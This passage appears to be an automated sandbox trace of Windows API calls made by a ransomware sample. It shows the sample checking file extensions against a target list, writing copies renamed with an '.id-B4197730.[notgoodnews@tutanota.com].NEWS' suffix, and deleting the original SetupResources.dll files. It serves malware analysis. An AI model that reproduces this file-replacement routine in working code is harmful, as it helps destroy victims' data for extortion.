lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.403] lstrlenW (lpString=".1cd") returned 4 [0063.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.403] lstrlenW (lpString=".jpg") returned 4 [0063.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.403] Sleep (dwMilliseconds=0x64) [0063.777] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0063.777] lstrlenW (lpString="SetupResources.dll") returned 18 [0063.777] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.388] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=19288) returned 1 [0064.399] CloseHandle (hObject=0x35c) returned 1 [0064.400] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0064.400] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.400] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.400] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.400] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.400] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.400] GetLastError () returned 0x0 [0064.400] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0064.402] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0064.403] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.403] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.403] SetEndOfFile (hFile=0x31c) returned 1 [0064.404] CloseHandle (hObject=0x31c) returned 1 [0064.405] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.405] SetEndOfFile (hFile=0x35c) returned 1 [0064.406] CloseHandle (hObject=0x35c) returned 1 [0064.406] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.406] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0064.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.406] lstrlenW (lpString=".doc") returned 4 [0064.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.406] lstrlenW (lpString=".docx") returned 5 [0064.406] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.406] lstrlenW (lpString=".pdf") returned 4 [0064.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.406] lstrlenW (lpString=".xls") returned 4 [0064.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.406] lstrlenW (lpString=".xlsx") returned 5 [0064.406] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.406] lstrlenW (lpString=".ppt") returned 4 [0064.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".zip") returned 4 [0064.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".rar") returned 4 [0064.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".bz2") returned 4 [0064.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.407] lstrlenW (lpString=".7z") returned 3 [0064.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".dbf") returned 4 [0064.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".1cd") returned 4 [0064.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".jpg") returned 4 [0064.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".doc") returned 4 [0064.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".docx") returned 5 [0064.407] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.407] lstrlenW (lpString=".pdf") returned 4 [0064.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".xls") returned 4 [0064.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".xlsx") returned 5 [0064.407] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.407] lstrlenW (lpString=".ppt") returned 4 [0064.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.407] lstrlenW (lpString=".zip") returned 4 [0064.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.407] lstrlenW (lpString=".rar") returned 4 [0064.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.408] lstrlenW (lpString=".bz2") returned 4 [0064.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.408] lstrlenW (lpString=".7z") returned 3 [0064.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.408] lstrlenW (lpString=".dbf") returned 4 [0064.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.408] lstrlenW (lpString=".1cd") returned 4 [0064.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0064.408] lstrlenW (lpString=".jpg") returned 4 [0064.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.408] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.408] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.408] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.408] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18264) returned 1 [0064.408] CloseHandle (hObject=0x35c) returned 1 [0064.408] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0064.408] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.409] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.409] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.409] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.409] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.409] GetLastError () returned 0x0 [0064.409] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4758, lpOverlapped=0x0) returned 1 [0064.411] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0064.412] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.412] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.412] SetEndOfFile (hFile=0x31c) returned 1 [0064.412] CloseHandle (hObject=0x31c) returned 1 [0064.413] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.413] SetEndOfFile (hFile=0x35c) returned 1 [0064.414] CloseHandle (hObject=0x35c) returned 1 [0064.414] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.415] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0064.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.415] lstrlenW (lpString=".doc") returned 4 [0064.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString=".docx") returned 5 [0064.415] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.415] lstrlenW (lpString=".pdf") returned 4 [0064.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString=".xls") returned 4 [0064.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString=".xlsx") returned 5 [0064.415] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.415] lstrlenW (lpString=".ppt") returned 4 [0064.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.415] lstrlenW (lpString=".zip") returned 4 [0064.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString=".rar") returned 4 [0064.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.415] lstrlenW (lpString=".bz2") returned 4 [0064.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.415] lstrlenW (lpString=".7z") returned 3 [0064.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".dbf") returned 4 [0064.416] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".1cd") returned 4 [0064.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".jpg") returned 4 [0064.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".doc") returned 4 [0064.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString=".docx") returned 5 [0064.416] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.416] lstrlenW (lpString=".pdf") returned 4 [0064.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString=".xls") returned 4 [0064.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString=".xlsx") returned 5 [0064.416] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.416] lstrlenW (lpString=".ppt") returned 4 [0064.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".zip") returned 4 [0064.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString=".rar") returned 4 [0064.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.416] lstrlenW (lpString=".bz2") returned 4 [0064.416] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.416] lstrlenW (lpString=".7z") returned 3 [0064.416] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.416] lstrlenW (lpString=".dbf") returned 4 [0064.416] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.417] lstrlenW (lpString=".1cd") returned 4 [0064.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0064.417] lstrlenW (lpString=".jpg") returned 4 [0064.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.417] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.417] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.417] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18776) returned 1 [0064.417] CloseHandle (hObject=0x35c) returned 1 [0064.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0064.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.418] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.418] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.418] GetLastError () returned 0x0 [0064.418] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0064.420] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0064.421] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.421] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.421] SetEndOfFile (hFile=0x31c) returned 1 [0064.421] CloseHandle (hObject=0x31c) returned 1 [0064.423] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.423] SetEndOfFile (hFile=0x35c) returned 1 [0064.424] CloseHandle (hObject=0x35c) returned 1 [0064.424] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.424] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0064.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.424] lstrlenW (lpString=".doc") returned 4 [0064.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.424] lstrlenW (lpString=".docx") returned 5 [0064.424] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.424] lstrlenW (lpString=".pdf") returned 4 [0064.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.424] lstrlenW (lpString=".xls") returned 4 [0064.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.424] lstrlenW (lpString=".xlsx") returned 5 [0064.424] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.424] lstrlenW (lpString=".ppt") returned 4 [0064.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.424] lstrlenW (lpString=".zip") returned 4 [0064.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".rar") returned 4 [0064.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".bz2") returned 4 [0064.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.425] lstrlenW (lpString=".7z") returned 3 [0064.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString=".dbf") returned 4 [0064.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString=".1cd") returned 4 [0064.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString=".jpg") returned 4 [0064.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString=".doc") returned 4 [0064.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".docx") returned 5 [0064.425] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.425] lstrlenW (lpString=".pdf") returned 4 [0064.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".xls") returned 4 [0064.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".xlsx") returned 5 [0064.425] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.425] lstrlenW (lpString=".ppt") returned 4 [0064.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.425] lstrlenW (lpString=".zip") returned 4 [0064.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".rar") returned 4 [0064.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.425] lstrlenW (lpString=".bz2") returned 4 [0064.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.426] lstrlenW (lpString=".7z") returned 3 [0064.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.426] lstrlenW (lpString=".dbf") returned 4 [0064.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.426] lstrlenW (lpString=".1cd") returned 4 [0064.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0064.426] lstrlenW (lpString=".jpg") returned 4 [0064.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.426] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.426] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.427] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=16728) returned 1 [0064.427] CloseHandle (hObject=0x35c) returned 1 [0064.427] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0064.427] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.427] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.427] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.427] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.427] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.427] GetLastError () returned 0x0 [0064.427] 